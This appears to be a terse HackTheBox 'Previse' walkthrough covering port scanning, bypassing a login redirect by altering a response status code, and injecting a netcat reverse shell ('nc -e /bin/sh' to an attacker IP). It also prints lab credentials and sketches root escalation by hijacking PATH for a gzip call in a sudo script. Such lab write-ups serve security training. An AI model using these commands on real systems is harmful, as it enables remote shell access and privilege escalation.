NMAP
Copy ➜ ~ nmap -T4 previse.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 12:12 EDT
Nmap scan report for previse.htb (10.10.11.104)
Host is up (0.37s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 28.71 seconds fast scan to know open ports
port 80
whatweb
Copy ➜ ~ sudo whatweb http://previse.htb/login.php
http://previse.htb/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login] gobuster
When we hold the package we will need to change the status code. Let’s do this for.
And click Forward
Let’s enter the site with a small change.
Now let’s press Forward.
Yes, now let’s create a user. And check out the site.
There is a file here. Download it and check it out.
Mysql information
select log data from here
I will try to get myself a reverse shell from here
command nc -e /bin/sh 10.10.16.17 1234
add and encode ...
python -c 'import pty;pty.spawn("/bin/bash")'
from backup we had download open config.php file
Credentials root:mySQL_p@ssw0rd!:) at previse DB
after cracking ...
Credential m4lwhere:ilovecody112235!
Privilege Escalation
check sudo rights
we can run access_backup.sh as root
this file trigger gzip lets overwrite it and export path
